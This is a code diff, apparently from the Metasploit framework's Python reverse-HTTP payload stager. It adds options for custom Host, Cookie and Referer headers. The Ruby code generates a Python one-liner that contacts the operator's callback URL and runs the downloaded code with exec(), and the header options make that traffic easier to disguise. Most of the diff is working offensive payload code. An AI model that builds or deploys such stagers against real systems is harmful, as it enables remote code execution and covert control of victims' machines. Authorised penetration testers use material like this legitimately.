@@ -14,7 +14,10 @@ def initialize(info = {})
14
14
register_options (
15
15
[
16
16
OptString . new ( 'PayloadProxyHost' , [ false , "The proxy server's IP address" ] ) ,
17
- OptPort . new ( 'PayloadProxyPort' , [ true , "The proxy port to connect to" , 8080 ] )
17
+ OptPort . new ( 'PayloadProxyPort' , [ true , "The proxy port to connect to" , 8080 ] ) ,
18
+ OptString . new ( 'HttpHeaderHost' , [ false , 'An optional value to use for the Host HTTP header' ] ) ,
19
+ OptString . new ( 'HttpHeaderCookie' , [ false , 'An optional value to use for the Cookie HTTP header' ] ) ,
20
+ OptString . new ( 'HttpHeaderReferer' , [ false , 'An optional value to use for the Referer HTTP header' ] )
18
21
] , self . class )
19
22
end
20
23
@@ -24,11 +27,14 @@ def initialize(info = {})
24
27
def generate ( opts = { } )
25
28
ds = opts [ :datastore ] || datastore
26
29
opts . merge! ( {
27
- host : ds [ 'LHOST' ] || '127.127.127.127' ,
28
- port : ds [ 'LPORT' ] ,
29
- proxy_host : ds [ 'PayloadProxyHost' ] ,
30
- proxy_port : ds [ 'PayloadProxyPort' ] ,
31
- user_agent : ds [ 'MeterpreterUserAgent' ]
30
+ host : ds [ 'LHOST' ] || '127.127.127.127' ,
31
+ port : ds [ 'LPORT' ] ,
32
+ proxy_host : ds [ 'PayloadProxyHost' ] ,
33
+ proxy_port : ds [ 'PayloadProxyPort' ] ,
34
+ user_agent : ds [ 'MeterpreterUserAgent' ] ,
35
+ header_host : ds [ 'HttpHeaderHost' ] ,
36
+ header_cookie : ds [ 'HttpHeaderCookie' ] ,
37
+ header_referer : ds [ 'HttpHeaderReferer' ]
32
38
} )
33
39
opts [ :scheme ] = 'http' if opts [ :scheme ] . nil?
34
40
@@ -104,9 +110,18 @@ def generate_reverse_http(opts={})
104
110
cmd << "hs.append(ul.ProxyHandler({'#{ opts [ :scheme ] } ':'#{ var_escape . call ( proxy_url ) } '}))\n "
105
111
end
106
112
113
+ headers = [ ]
114
+ headers << "('User-Agent','#{ var_escape . call ( opts [ :user_agent ] ) } ')"
115
+ headers << "('Cookie','#{ var_escape . call ( opts [ :header_cookie ] ) } ')" if opts [ :header_cookie ]
116
+ headers << "('Referer','#{ var_escape . call ( opts [ :header_referer ] ) } ')" if opts [ :header_referer ]
117
+
107
118
cmd << "o=ul.build_opener(*hs)\n "
108
- cmd << "o.addheaders=[('User-Agent','#{ var_escape . call ( opts [ :user_agent ] ) } ')]\n "
109
- cmd << "exec(o.open('#{ generate_callback_url ( opts ) } ').read())\n "
119
+ cmd << "o.addheaders=[#{ headers . join ( ',' ) } ]\n "
120
+ if opts [ :header_host ]
121
+ cmd << "exec(o.open(ul.Request('#{ generate_callback_url ( opts ) } ',None,{'Host':'#{ var_escape . call ( opts [ :header_host ] ) } '})).read())\n "
122
+ else
123
+ cmd << "exec(o.open('#{ generate_callback_url ( opts ) } ').read())\n "
124
+ end
110
125
111
126
py_create_exec_stub ( cmd )
112
127
end
0 commit comments